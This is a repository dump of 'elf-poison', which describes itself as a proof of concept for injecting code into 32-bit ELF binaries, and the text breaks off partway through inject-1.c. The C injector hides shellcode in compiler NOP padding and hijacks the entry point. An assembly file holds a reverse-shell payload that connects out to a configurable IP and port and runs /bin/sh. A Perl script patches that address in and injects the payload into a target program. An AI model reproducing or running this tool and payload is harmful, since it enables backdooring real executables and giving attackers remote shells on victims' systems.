├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── example
├── ex1.asm
└── ex1.pl
├── inject-1.c
├── inject-2.c
└── lib
├── libdasm.c
├── libdasm.h
└── opcode_tables.h
/.gitignore:
--------------------------------------------------------------------------------
1 | # Object files
2 | *.o
3 | *.ko
4 |
5 | # Libraries
6 | *.lib
7 | *.a
8 |
9 | # Shared objects (inc. Windows DLLs)
10 | *.dll
11 | *.so
12 | *.so.*
13 | *.dylib
14 |
15 | # Executables
16 | *.exe
17 | *.out
18 | *.app
19 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU LESSER GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 |
9 | This version of the GNU Lesser General Public License incorporates
10 | the terms and conditions of version 3 of the GNU General Public
11 | License, supplemented by the additional permissions listed below.
12 |
13 | 0. Additional Definitions.
14 |
15 | As used herein, "this License" refers to version 3 of the GNU Lesser
16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU
17 | General Public License.
18 |
19 | "The Library" refers to a covered work governed by this License,
20 | other than an Application or a Combined Work as defined below.
21 |
22 | An "Application" is any work that makes use of an interface provided
23 | by the Library, but which is not otherwise based on the Library.
24 | Defining a subclass of a class defined by the Library is deemed a mode
25 | of using an interface provided by the Library.
26 |
27 | A "Combined Work" is a work produced by combining or linking an
28 | Application with the Library. The particular version of the Library
29 | with which the Combined Work was made is also called the "Linked
30 | Version".
31 |
32 | The "Minimal Corresponding Source" for a Combined Work means the
33 | Corresponding Source for the Combined Work, excluding any source code
34 | for portions of the Combined Work that, considered in isolation, are
35 | based on the Application, and not on the Linked Version.
36 |
37 | The "Corresponding Application Code" for a Combined Work means the
38 | object code and/or source code for the Application, including any data
39 | and utility programs needed for reproducing the Combined Work from the
40 | Application, but excluding the System Libraries of the Combined Work.
41 |
42 | 1. Exception to Section 3 of the GNU GPL.
43 |
44 | You may convey a covered work under sections 3 and 4 of this License
45 | without being bound by section 3 of the GNU GPL.
46 |
47 | 2. Conveying Modified Versions.
48 |
49 | If you modify a copy of the Library, and, in your modifications, a
50 | facility refers to a function or data to be supplied by an Application
51 | that uses the facility (other than as an argument passed when the
52 | facility is invoked), then you may convey a copy of the modified
53 | version:
54 |
55 | a) under this License, provided that you make a good faith effort to
56 | ensure that, in the event an Application does not supply the
57 | function or data, the facility still operates, and performs
58 | whatever part of its purpose remains meaningful, or
59 |
60 | b) under the GNU GPL, with none of the additional permissions of
61 | this License applicable to that copy.
62 |
63 | 3. Object Code Incorporating Material from Library Header Files.
64 |
65 | The object code form of an Application may incorporate material from
66 | a header file that is part of the Library. You may convey such object
67 | code under terms of your choice, provided that, if the incorporated
68 | material is not limited to numerical parameters, data structure
69 | layouts and accessors, or small macros, inline functions and templates
70 | (ten or fewer lines in length), you do both of the following:
71 |
72 | a) Give prominent notice with each copy of the object code that the
73 | Library is used in it and that the Library and its use are
74 | covered by this License.
75 |
76 | b) Accompany the object code with a copy of the GNU GPL and this license
77 | document.
78 |
79 | 4. Combined Works.
80 |
81 | You may convey a Combined Work under terms of your choice that,
82 | taken together, effectively do not restrict modification of the
83 | portions of the Library contained in the Combined Work and reverse
84 | engineering for debugging such modifications, if you also do each of
85 | the following:
86 |
87 | a) Give prominent notice with each copy of the Combined Work that
88 | the Library is used in it and that the Library and its use are
89 | covered by this License.
90 |
91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license
92 | document.
93 |
94 | c) For a Combined Work that displays copyright notices during
95 | execution, include the copyright notice for the Library among
96 | these notices, as well as a reference directing the user to the
97 | copies of the GNU GPL and this license document.
98 |
99 | d) Do one of the following:
100 |
101 | 0) Convey the Minimal Corresponding Source under the terms of this
102 | License, and the Corresponding Application Code in a form
103 | suitable for, and under terms that permit, the user to
104 | recombine or relink the Application with a modified version of
105 | the Linked Version to produce a modified Combined Work, in the
106 | manner specified by section 6 of the GNU GPL for conveying
107 | Corresponding Source.
108 |
109 | 1) Use a suitable shared library mechanism for linking with the
110 | Library. A suitable mechanism is one that (a) uses at run time
111 | a copy of the Library already present on the user's computer
112 | system, and (b) will operate properly with a modified version
113 | of the Library that is interface-compatible with the Linked
114 | Version.
115 |
116 | e) Provide Installation Information, but only if you would otherwise
117 | be required to provide such information under section 6 of the
118 | GNU GPL, and only to the extent that such information is
119 | necessary to install and execute a modified version of the
120 | Combined Work produced by recombining or relinking the
121 | Application with a modified version of the Linked Version. (If
122 | you use option 4d0, the Installation Information must accompany
123 | the Minimal Corresponding Source and Corresponding Application
124 | Code. If you use option 4d1, you must provide the Installation
125 | Information in the manner specified by section 6 of the GNU GPL
126 | for conveying Corresponding Source.)
127 |
128 | 5. Combined Libraries.
129 |
130 | You may place library facilities that are a work based on the
131 | Library side by side in a single library together with other library
132 | facilities that are not Applications and are not covered by this
133 | License, and convey such a combined library under terms of your
134 | choice, if you do both of the following:
135 |
136 | a) Accompany the combined library with a copy of the same work based
137 | on the Library, uncombined with any other library facilities,
138 | conveyed under the terms of this License.
139 |
140 | b) Give prominent notice with the combined library that part of it
141 | is a work based on the Library, and explaining where to find the
142 | accompanying uncombined form of the same work.
143 |
144 | 6. Revised Versions of the GNU Lesser General Public License.
145 |
146 | The Free Software Foundation may publish revised and/or new versions
147 | of the GNU Lesser General Public License from time to time. Such new
148 | versions will be similar in spirit to the present version, but may
149 | differ in detail to address new problems or concerns.
150 |
151 | Each version is given a distinguishing version number. If the
152 | Library as you received it specifies that a certain numbered version
153 | of the GNU Lesser General Public License "or any later version"
154 | applies to it, you have the option of following the terms and
155 | conditions either of that published version or of any later version
156 | published by the Free Software Foundation. If the Library as you
157 | received it does not specify a version number of the GNU Lesser
158 | General Public License, you may choose any version of the GNU Lesser
159 | General Public License ever published by the Free Software Foundation.
160 |
161 | If the Library as you received it specifies that a proxy can decide
162 | whether future versions of the GNU Lesser General Public License shall
163 | apply, that proxy's public statement of acceptance of any version is
164 | permanent authorization for you to choose that version for the
165 | Library.
166 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: clean
2 |
3 | CFLAGS = -O2 -g -Wall -Wextra -Wwrite-strings -Wstrict-prototypes
4 | CFLAGS += -Wunreachable-code -Wuninitialized
5 |
6 | all: inject-1 inject-2
7 |
8 | inject-1: inject-1.c Makefile
9 | @ gcc inject-1.c -I lib lib/libdasm.c -o inject-1
10 | @ echo ' CC inject-1'
11 |
12 | inject-2: inject-2.c Makefile
13 | @ gcc $(CFLAGS) inject-2.c -o inject-2
14 | @ echo ' CC inject-2'
15 | clean:
16 | @ rm inject-1 inject-2
17 | @ echo ' CLEAN'
18 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | elf-poison
2 | ==========
3 |
4 | Proof Of Concept for inserting code in ELF binaries.
5 |
--------------------------------------------------------------------------------
/example/ex1.asm:
--------------------------------------------------------------------------------
1 | global _start
2 |
3 | %define SOCKETCALL 102
4 | %define READ 3
5 | %define WRITE 4
6 | %define EXIT 1
7 | %define EXECV 11
8 | %define DUP2 63
9 | %define FORK 2
10 | %define SETSID 0x42
11 | %define CLOSE 6
12 |
13 | %define SYS_SOCKET 1
14 | %define SYS_CONNECT 3
15 |
16 | %define AF_INET 2
17 | %define SOCK_STREAM 1
18 | %define IPPROTO_TCP 6
19 |
20 | %define IP 0x76767676
21 | %define PORT 0x9696
22 |
23 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
24 | ;; entry point ;;
25 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
26 | section .text
27 | _start:
28 | pusha
29 | mov eax, FORK
30 | int 0x80
31 | cmp eax, 0
32 | jne .END
33 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
34 | ;; encrypted code ;;
35 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
36 | section .encrypted
37 | .SETSID:
38 | mov eax, SETSID
39 | int 0x80
40 |
41 | .SOCKET:
42 | push IPPROTO_TCP
43 | push SOCK_STREAM
44 | push AF_INET
45 |
46 | mov ecx, esp
47 | mov ebx, SYS_SOCKET
48 | mov eax, SOCKETCALL
49 | int 0x80
50 |
51 | add esp, 12
52 | mov esi, eax
53 | cmp eax, -1
54 | je .END
55 |
56 | .CONNECT:
57 | push IP
58 | push word PORT
59 | push word AF_INET
60 | mov eax, esp
61 |
62 | push 16
63 | push eax
64 | push esi
65 |
66 | mov ecx, esp
67 | mov ebx, SYS_CONNECT
68 | mov eax, SOCKETCALL
69 | int 0x80
70 |
71 | add esp, 20
72 | cmp eax, -1
73 | je .END
74 |
75 | .DUP2:
76 | mov ebx, esi
77 | xor ecx, ecx
78 | xor eax, eax
79 | mov al, DUP2
80 | int 0x80
81 |
82 | inc ecx
83 | xor eax, eax
84 | mov al, DUP2
85 | int 0x80
86 |
87 | inc ecx
88 | xor eax, eax
89 | mov al, DUP2
90 | int 0x80
91 | .EXECV:
92 | push 0
93 | push '//sh'
94 | push '/bin'
95 | mov ebx, esp
96 |
97 | push 0
98 | push ebx
99 |
100 | xor edx, edx
101 | mov ecx, esp
102 | mov eax, EXECV
103 | int 0x80
104 |
105 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
106 | ;; restore context ;;
107 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
108 | section .end
109 | .END:
110 | popa
111 |
--------------------------------------------------------------------------------
/example/ex1.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 |
3 | use strict;
4 | use warnings;
5 | my $DOOOR_FILE = 'ex1';
6 |
7 | die "[-] Usage : $0 \n" if(@ARGV != 3);
8 |
9 | my ($bin, $ip, $port) = @ARGV;
10 | my $code;
11 |
12 | print "[+] Compiling $DOOOR_FILE...\n";
13 | compile_code();
14 |
15 | print "[+] Extracting code...\n";
16 | $code = extract_code();
17 |
18 | print "[+] Code length : " . (length($code)/4) . "\n";
19 |
20 | print "[+] Patching port ($port)...\n";
21 | patch_port();
22 |
23 | print "[+] Patching IP ($ip)...\n";
24 | patch_ip();
25 |
26 | print "[+] Inject code in $bin...\n";
27 | inject_code();
28 |
29 | sub inject_code {
30 | my @out;
31 |
32 | @out = `../inject-2 $bin "$code"`;
33 | print $_ foreach(@out);
34 | die "[-] inject failed\n" if($?);
35 | }
36 |
37 | sub patch_ip {
38 |
39 | my $addr = sprintf "\\x%.2x\\x%.2x\\x%.2x\\x%.2x", split(/\./, $ip);
40 |
41 | $code =~ s/\\x76\\x76\\x76\\x76/$addr/;
42 | }
43 |
44 | sub patch_port {
45 | my ($p1, $p2);
46 |
47 | ($p1,$p2) = unpack('CC', pack('n', $port));
48 | $p1 = sprintf "\\x%.2x", $p1;
49 | $p2 = sprintf "\\x%.2x", $p2;
50 |
51 | $code =~ s/\\x96\\x96/$p1$p2/;
52 | }
53 |
54 | sub compile_code {
55 | `nasm -f elf $DOOOR_FILE.asm`;
56 | die "[-] Nasm failed !\n" if($?);
57 | `ld $DOOOR_FILE.o -o $DOOOR_FILE`;
58 | die "[-] Id failed !\n" if($?);
59 | }
60 |
61 | sub extract_code {
62 | my @line;
63 | my $code;
64 |
65 | @line = `objdump -d -j .text $DOOOR_FILE`;
66 | die "[-] Objdump failed !\n" if($?);
67 |
68 | foreach(@line) {
69 | if(m/^\s+\S+\s+(([0-9a-f]{2}\s)+)/) {
70 | foreach(split(/\s/, $1)) {
71 | $code .= '\\x' . $_;
72 | }
73 | }
74 | }
75 |
76 | @line = `objdump -d -j .encrypted $DOOOR_FILE`;
77 | die "[-] Objdump failed !\n" if($?);
78 |
79 | foreach(@line) {
80 | if(m/^\s+\S+\s+(([0-9a-f]{2}\s)+)/) {
81 | foreach(split(/\s/, $1)) {
82 | $code .= '\\x' . $_;
83 | }
84 | }
85 | }
86 |
87 | @line = `objdump -d -j .end $DOOOR_FILE`;
88 | die "[-] Objdump failed !\n" if($?);
89 |
90 | foreach(@line) {
91 | if(m/^\s+\S+\s+(([0-9a-f]{2}\s)+)/) {
92 | foreach(split(/\s/, $1)) {
93 | $code .= '\\x' . $_;
94 | }
95 | }
96 | }
97 |
98 | return $code;
99 | }
100 |
--------------------------------------------------------------------------------
/inject-1.c:
--------------------------------------------------------------------------------
1 | /* Proof Of Concept : ELF32 code injection
2 | * Author : Tosh
3 | *
4 | * This program insert a code in ELF file without break
5 | * the host file.
6 | *
7 | * The code is executed when the program start and execution is
8 | * redirected to old entry point when it's finished.
9 | *
10 | * Code is splited and inserted in NOP padding used by the compiler
11 | * to alignement.
12 | * The splited code is then chained with jmps.
13 | *
14 | * Exemple :
15 | * $ cp /bin/ls .
16 | *
17 | * $ ./elfinject ./ls \
18 | * > "\x60\x6a\x0a\x68\x6f\x21\x21\x21"\
19 | * > "\x68\x48\x65\x6c\x6c\xb8\x04\x00"\
20 | * > "\x00\x00\xbb\x01\x00\x00\x00\x89"\
21 | * > "\xe1\xba\x09\x00\x00\x00\xcd\x80"\
22 | * > "\x83\xc4\x0c\x61"
23 | *
24 | *
25 | * [+] Loading ELF in memory...
26 | * [+] Creating the CHUNKLST...
27 | * [+] CHUNKS: 35, TOTAL LENGTH: 219
28 | * [+] Creating the INSTRLST...
29 | * [+] Old entry point : 0x0804c090
30 | * [+] Inserting code in ELF...
31 | * [+] New entry : 0x0805532a
32 | * [+] Inserted code INFO :
33 | * OFFSET ADDR LEN INSTR
34 | * 0x0000d32a 0x0805532a 01 pusha
35 | * 0x0000d549 0x08055549 02 push byte 0xa
36 | * 0x0000a176 0x08052176 05 push dword 0x2121216f
37 | * 0x0000aa76 0x08052a76 05 push dword 0x6c6c6548
38 | * 0x00010f06 0x08058f06 05 mov eax,0x4
39 | * 0x00011376 0x08059376 05 mov ebx,0x1
40 | * 0x0000d869 0x08055869 02 mov ecx,esp
41 | * 0x0000ba55 0x08053a55 05 mov edx,0x9
42 | * 0x00001d17 0x08049d17 02 int 0x80
43 | * 0x00009af7 0x08051af7 03 add esp,0xc
44 | * 0x0000d7aa 0x080557aa 01 popa
45 | * [+] Freeing all structures...
46 | * [+] DONE.
47 | *
48 | *
49 | * $ ./ls
50 | * Hello!!!
51 | * elfinject inject.c libdasm.c libdasm.h ls opcode_tables.h
52 | *
53 | *
54 | * As you can see, your code is executed, and the host program run
55 | * correctly.
56 | */
57 |
58 |
59 | #include
60 | #include
61 | #include
62 | #include
63 | #include
64 | #include
65 | #include
66 | #include
67 | #include
68 | #include
69 | #include
70 | #include
71 | #include "libdasm.h"
72 |
73 | typedef struct ELF {
74 | Elf32_Ehdr *ehdr;
75 | Elf32_Phdr *phdr;
76 | Elf32_Shdr *shdr;
77 | uint8_t *data;
78 | uint32_t length;
79 | }ELF;
80 |
81 | typedef struct CHUNK {
82 | int used;
83 | uint32_t offset;
84 | uint32_t addr;
85 | uint32_t length;
86 | struct CHUNK *next;
87 | }CHUNK;
88 |
89 | typedef struct INSTR {
90 | char *inst;
91 | uint8_t *code;
92 | uint32_t length;
93 | uint32_t offset;
94 | uint32_t addr;
95 | struct INSTR *next;
96 | }INSTR;
97 |
98 | typedef struct LST {
99 | void *head;
100 | void *tail;
101 | }INSTRLST, CHUNKLST;
102 |
103 | #define JMP_LENGTH 5
104 | #define NOP 0x90
105 | #define JMP 0xe9
106 | #define RET 0xc3
107 |
108 |
109 | #define SYSCALL_FATAL_ERROR(...) do { \
110 | fprintf(stderr, "[-] "); \
111 | fprintf(stderr, __VA_ARGS__); \
112 | fprintf(stderr, " : %s\n", strerror(errno)); \
113 | exit(EXIT_FAILURE); \
114 | }while(0)
115 |
116 | #define FATAL_ERROR(...) do { \
117 | fprintf(stderr, "[-] "); \
118 | fprintf(stderr, __VA_ARGS__); \
119 | fprintf(stderr, "\n"); \
120 | exit(EXIT_FAILURE); \
121 | }while(0)
122 |
123 | #define INFO(...) do { \
124 | fprintf(stdout, "[+] "); \
125 | fprintf(stdout, __VA_ARGS__); \
126 | fprintf(stdout, "\n"); \
127 | }while(0)
128 |
129 | /*=========================================================
130 | =
131 | = Misc functions
132 | =
133 | ========================================================*/
134 | /* Duplicate memory */
135 | void* memdup(void *ptr, size_t len) {
136 | void *ret;
137 |
138 | if((ret = malloc(len)) == NULL)
139 | return NULL;
140 |
141 | memcpy(ret, ptr, len);
142 |
143 | return ret;
144 | }
145 |
146 | /* Calculate jmp */
147 | uint32_t calc_jmp(uint32_t addr1, uint32_t addr2) {
148 | return addr2 - addr1;
149 | }
150 |
151 | /* Convert 'a' -> 10 */
152 | int hex_to_dec(int c) {
153 | if(isdigit(c))
154 | return c - '0';
155 | if(c >= 'a' && c <= 'f')
156 | return (c - 'a') + 10;
157 | if(c >= 'A' && c <= 'F')
158 | return (c - 'A') + 10;
159 |
160 | return -1;
161 | }
162 |
163 | /* Test if char is in range [0-9a-fA-F] */
164 | int is_hexa_char(int c) {
165 | return (isdigit(c)
166 | || (c >= 'a' && c <= 'f')
167 | || (c >= 'A' && c <= 'F'));
168 | }
169 |
170 | /* Convert "\x0a\x2c..." to raw data */
171 | uint8_t* opcodes_to_data(char *str, uint32_t *length) {
172 | int i;
173 | uint8_t *data;
174 |
175 | i = 0;
176 | if((data = malloc(strlen(str) + 1)) == NULL)
177 | SYSCALL_FATAL_ERROR("Can't allocate data");
178 |
179 | while(*str != '\0') {
180 | if(str[0] == '\\' && str[1] == 'x') {
181 | if(is_hexa_char(str[2]) && is_hexa_char(str[3])) {
182 | data[i] = hex_to_dec(str[2]) * 16;
183 | data[i] += hex_to_dec(str[3]);
184 | str += 3;
185 | }
186 | } else {
187 | data[i] = *str;
188 | }
189 | str++;
190 | i++;
191 | }
192 | *length = i;
193 | return data;
194 | }
195 |
196 | /*=========================================================
197 | =
198 | = ELF functions
199 | =
200 | ========================================================*/
201 |
202 | /* Check ELF phdr table */
203 | void ELF_checkPhdr(ELF *elf) {
204 | Elf32_Ehdr *ehdr;
205 | Elf32_Phdr *phdr;
206 | uint32_t i;
207 |
208 | ehdr = (Elf32_Ehdr*)elf->data;
209 | phdr = (Elf32_Phdr*)(elf->data + ehdr->e_phoff);
210 |
211 | for(i = 0; i < ehdr->e_phnum; i++) {
212 | if(phdr[i].p_offset >= elf->length)
213 | FATAL_ERROR("ELF: bad p_offset for segment %u", i);
214 |
215 | if(phdr[i].p_offset > 0xFFFFFFFF-phdr[i].p_filesz)
216 | FATAL_ERROR("ELF: overflow in p_offset for segment %u", i);
217 |
218 | if(phdr[i].p_offset + phdr[i].p_filesz > elf->length)
219 | FATAL_ERROR("ELF: bad p_filesz for segment %u", i);
220 | }
221 | }
222 |
223 | /* Check ELF file */
224 | void ELF_check(ELF *elf) {
225 | Elf32_Ehdr *ehdr;
226 |
227 | if(elf->length < sizeof(Elf32_Ehdr))
228 | FATAL_ERROR("ELF: bad length");
229 |
230 | if(memcmp(elf->data, ELFMAG, SELFMAG))
231 | FATAL_ERROR("ELF: bad ELFMAG");
232 |
233 | ehdr = (Elf32_Ehdr*)elf->data;
234 |
235 | if(ehdr->e_ident[EI_CLASS] != ELFCLASS32)
236 | FATAL_ERROR("ELF: EI_CLASS not supported");
237 |
238 | if(ehdr->e_phoff >= elf->length)
239 | FATAL_ERROR("ELF: bad e_phoff");
240 |
241 | if(ehdr->e_phoff > 0xFFFFFFFF-(ehdr->e_phnum*sizeof(Elf32_Phdr)))
242 | FATAL_ERROR("ELF: overflow in e_phoff");
243 |
244 | if(ehdr->e_phoff + ehdr->e_phnum*sizeof(Elf32_Phdr) >= elf->length)
245 | FATAL_ERROR("ELF: bad e_phoff");
246 |
247 | ELF_checkPhdr(elf);
248 | }
249 |
250 | /* Mmap ELF in memory */
251 | void ELF_load(ELF *elf, const char *filename) {
252 | struct stat st;
253 | int fd;
254 |
255 | if((fd = open(filename, O_RDWR)) < 0)
256 | SYSCALL_FATAL_ERROR("Can't open %s", filename);
257 |
258 | if(fstat(fd, &st) < 0)
259 | SYSCALL_FATAL_ERROR("Fstat failed");
260 |
261 | elf->data = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
262 | if(elf->data == MAP_FAILED)
263 | SYSCALL_FATAL_ERROR("Mmap failed");
264 |
265 | elf->length = st.st_size;
266 |
267 | ELF_check(elf);
268 |
269 | elf->ehdr = (Elf32_Ehdr*)elf->data;
270 | elf->shdr = (Elf32_Shdr*)(elf->data + elf->ehdr->e_shoff);
271 | elf->phdr = (Elf32_Phdr*)(elf->data + elf->ehdr->e_phoff);
272 |
273 | close(fd);
274 | }
275 |
276 |
277 | /* Munmap file */
278 | void ELF_unload(ELF *elf) {
279 | munmap(elf->data, elf->length);
280 | }
281 |
282 | /* Insert code in ELF */
283 | void ELF_insCode(ELF *elf, INSTRLST *lst) {
284 | uint8_t jmp_code[JMP_LENGTH];
285 | uint32_t jmp;
286 | INSTR *p;
287 |
288 | for(p = lst->head; p != NULL; p = p->next) {
289 | jmp_code[0] = JMP;
290 |
291 | if(p->next == NULL) {
292 | jmp = calc_jmp(p->addr + p->length + JMP_LENGTH, elf->ehdr->e_entry);
293 | memcpy(jmp_code + 1, &jmp, JMP_LENGTH-1);
294 | } else {
295 | jmp = calc_jmp(p->addr + p->length + JMP_LENGTH, p->next->addr);
296 | memcpy(jmp_code + 1, &jmp, JMP_LENGTH-1);
297 | }
298 | memcpy(elf->data+p->offset, p->code, p->length);
299 | memcpy(elf->data+p->offset+p->length, jmp_code, JMP_LENGTH);
300 | }
301 |
302 | if(lst->head != NULL)
303 | elf->ehdr->e_entry = ((INSTR*)lst->head)->addr;
304 | }
305 |
306 | /*=========================================================
307 | =
308 | = CHUNK functions
309 | =
310 | ========================================================*/
311 |
312 | /* Free a chunk */
313 | void CHUNK_free(CHUNK *chk) {
314 | free(chk);
315 | }
316 |
317 | /* Allocate a new chunk */
318 | CHUNK* CHUNK_new(uint32_t addr, uint32_t offset, uint32_t length) {
319 | CHUNK *chk;
320 |
321 | if((chk = malloc(sizeof(CHUNK))) == NULL)
322 | SYSCALL_FATAL_ERROR("Malloc failed");
323 |
324 | chk->addr = addr;
325 | chk->offset = offset;
326 | chk->length = length;
327 | chk->used = 0;
328 | chk->next = NULL;
329 |
330 | return chk;
331 | }
332 |
333 | /*=========================================================
334 | =
335 | = CHUNKLST functions
336 | =
337 | ========================================================*/
338 |
339 | /* Free a CHUNKLST */
340 | void CHUNKLST_free(CHUNKLST *lst) {
341 | CHUNK *p, *tmp;
342 |
343 | p = lst->head;
344 |
345 | while(p != NULL) {
346 | tmp = p->next;
347 | CHUNK_free(p);
348 | p = tmp;
349 | }
350 | free(lst);
351 | }
352 |
353 | /* Allocate a new chunk_lst */
354 | CHUNKLST* CHUNKLST_new(void) {
355 | CHUNKLST *lst;
356 |
357 | if((lst = malloc(sizeof(CHUNKLST))) == NULL)
358 | SYSCALL_FATAL_ERROR("Can't allocate CHUNKLST");
359 |
360 | lst->head = NULL;
361 | lst->tail = NULL;
362 |
363 | return lst;
364 | }
365 |
366 | /* Return the number of chunks */
367 | uint32_t CHUNKLST_length(CHUNKLST *lst) {
368 | uint32_t length;
369 | CHUNK *p;
370 |
371 | length = 0;
372 |
373 | for(p = lst->head; p != NULL; p = p->next) {
374 | length++;
375 | }
376 | return length;
377 | }
378 |
379 | uint32_t CHUNKLST_totLength(CHUNKLST *lst) {
380 | uint32_t length;
381 | CHUNK *p;
382 |
383 | length = 0;
384 |
385 | for(p = lst->head; p != NULL; p = p->next) {
386 | length += p->length;
387 | }
388 | return length;
389 | }
390 |
391 | /* Print a chunk list */
392 | void CHUNKLST_print(CHUNKLST *lst) {
393 | uint32_t total_length;
394 | uint32_t num;
395 | CHUNK *p;
396 |
397 | total_length = 0;
398 | num = 0;
399 |
400 | for(p = lst->head; p != NULL; p = p->next) {
401 | printf("%03d => 0x%.8x => %u\n", num+1, p->addr, p->length);
402 | total_length += p->length;
403 | num++;
404 | }
405 | printf("TOTAL length : %u\n", total_length);
406 | }
407 |
408 | /* Return the smallest chunk which match minimum length */
409 | const CHUNK* CHUNKLST_getSmallest(CHUNKLST *lst, uint32_t length) {
410 | uint32_t cur_length;
411 | CHUNK *cur_chunk;
412 | CHUNK* p;
413 |
414 | cur_chunk = NULL;
415 | cur_length = 0xFFFFFFFF;
416 |
417 | for(p = lst->head; p != NULL && cur_length != length; p = p->next) {
418 | if(!p->used) {
419 | if(p->length >= length && p->length < cur_length) {
420 | cur_chunk = p;
421 | cur_length = p->length;
422 | }
423 | }
424 | }
425 |
426 | if(cur_chunk != NULL)
427 | cur_chunk->used = 1;
428 |
429 | return cur_chunk;
430 | }
431 |
432 |
433 | /* Insert a chunk at end of the list */
434 | void CHUNKLST_insert(CHUNKLST *lst, CHUNK *chunk) {
435 | CHUNK *tail = lst->tail;
436 |
437 | if(lst->head == NULL)
438 | lst->head = chunk;
439 | if(tail == NULL) {
440 | lst->tail = chunk;
441 | } else {
442 | tail->next = chunk;
443 | lst->tail = chunk;
444 | }
445 | }
446 |
447 | /* Parse Phnum and store all chunks in CHUNKLST */
448 | void CHUNKLST_parsePhnum(CHUNKLST *lst, ELF *elf, int phnum) {
449 | CHUNK *new;
450 | uint32_t i, length, j;
451 | Elf32_Phdr *ph;
452 |
453 | ph = &elf->phdr[phnum];
454 |
455 | for(i = ph->p_offset; i < ph->p_filesz; i++) {
456 | length = 0;
457 | for(j = i; j < ph->p_filesz-1; j++) {
458 | /* xchg ax,ax */
459 | if(elf->data[j] == 0x66 && elf->data[j+1] == 0x90) {
460 | length += 2;
461 | /* nop */
462 | }else if(elf->data[j] == 0x90) {
463 | length += 1;
464 | } else {
465 | break;
466 | }
467 | }
468 | if(length > JMP_LENGTH) {
469 | new = CHUNK_new(ph->p_vaddr + i, ph->p_offset + i, length - JMP_LENGTH);
470 | CHUNKLST_insert(lst, new);
471 | }
472 | i = j;
473 | }
474 | }
475 |
476 | /* Parse ELF and store all chunks in CHUNKLST */
477 | void CHUNKLST_parseElf(CHUNKLST *lst, ELF *elf) {
478 | int i;
479 |
480 | for(i = 0; i < elf->ehdr->e_phnum; i++) {
481 | if(elf->phdr[i].p_type == PT_LOAD) {
482 | if(elf->phdr[i].p_flags & PF_X) {
483 | CHUNKLST_parsePhnum(lst, elf, i);
484 | }
485 | }
486 | }
487 | }
488 |
489 | /*=========================================================
490 | =
491 | = INSTR functions
492 | =
493 | ========================================================*/
494 |
495 | /* free INSTR */
496 | void INSTR_free(INSTR *instr) {
497 | free(instr->code);
498 | free(instr->inst);
499 | free(instr);
500 | }
501 |
502 | /* Allocate a new INSTR */
503 | INSTR* INSTR_new(uint8_t *code, uint32_t length, const char *inst,
504 | uint32_t addr, uint32_t offset) {
505 | INSTR *new;
506 |
507 | if((new = malloc(sizeof(INSTR))) == NULL)
508 | SYSCALL_FATAL_ERROR("Malloc failed");
509 |
510 | new->code = memdup(code, length);
511 | new->length = length;
512 | new->inst = strdup(inst);
513 | new->offset = offset;
514 | new->addr = addr;
515 | new->next = NULL;
516 |
517 | return new;
518 | }
519 |
520 | /*=========================================================
521 | =
522 | = INSTRLST functions
523 | =
524 | ========================================================*/
525 |
526 | /* Free a INSTRLST */
527 | void INSTRLST_free(INSTRLST *lst) {
528 | INSTR *p, *tmp;
529 |
530 | p = lst->head;
531 | while(p != NULL) {
532 | tmp = p->next;
533 | INSTR_free(p);
534 | p = tmp;
535 | }
536 | free(lst);
537 | }
538 |
539 | /* Allocate a new INSTRLST */
540 | INSTRLST* INSTRLST_new(void) {
541 | INSTRLST *lst;
542 |
543 | if((lst = malloc(sizeof(INSTRLST))) == NULL)
544 | SYSCALL_FATAL_ERROR("Malloc failed");
545 |
546 | lst->tail = NULL;
547 | lst->head = NULL;
548 |
549 | return lst;
550 | }
551 |
552 | /* Insert a INSTR in INSTRLST at the end of the list*/
553 | void INSTRLST_insert(INSTRLST *lst, INSTR *inst) {
554 | INSTR *tail = lst->tail;
555 |
556 | if(lst->head == NULL)
557 | lst->head = inst;
558 | if(lst->tail == NULL) {
559 | lst->tail = inst;
560 | } else {
561 | tail->next = inst;
562 | lst->tail = inst;
563 | }
564 | }
565 |
566 | void INSTRLST_parseCode(INSTRLST *lst, CHUNKLST *chklst,
567 | uint8_t *code, uint32_t length) {
568 | INSTRUCTION inst;
569 | char tmp[64];
570 | uint32_t i;
571 | INSTR *new;
572 | const CHUNK *chk;
573 |
574 | i = 0;
575 |
576 | while(i < length) {
577 | get_instruction(&inst, code + i, MODE_32);
578 | if(inst.length == 0)
579 | FATAL_ERROR("Code seems to be bad");
580 |
581 | chk = CHUNKLST_getSmallest(chklst, inst.length);
582 | if(chk == NULL)
583 | FATAL_ERROR("Code seems too long");
584 |
585 | get_instruction_string(&inst, FORMAT_INTEL, 0, tmp, sizeof(tmp));
586 | new = INSTR_new(code+i, inst.length, tmp,
587 | chk->addr, chk->offset);
588 | INSTRLST_insert(lst, new);
589 | i += inst.length;
590 | }
591 | }
592 |
593 | void INSTRLST_print(INSTRLST *lst) {
594 | INSTR *p;
595 |
596 | printf(" OFFSET ADDR LEN INSTR\n");
597 | for(p = lst->head; p != NULL; p = p->next) {
598 | printf(" 0x%.8x 0x%.8x %02u %s\n",
599 | p->offset, p->addr, p->length, p->inst);
600 | }
601 | }
602 | /*=========================================================
603 | =
604 | = ENTRY functions
605 | =
606 | ========================================================*/
607 |
608 | int main(int argc, char **argv) {
609 | uint8_t *sc;
610 | uint32_t sc_length;
611 | CHUNKLST *ch_lst;
612 | INSTRLST *in_lst;
613 | ELF elf;
614 |
615 | if(argc != 3) {
616 | FATAL_ERROR("Usage : %s ", argv[0]);
617 | }
618 |
619 | sc = opcodes_to_data(argv[2], &sc_length);
620 |
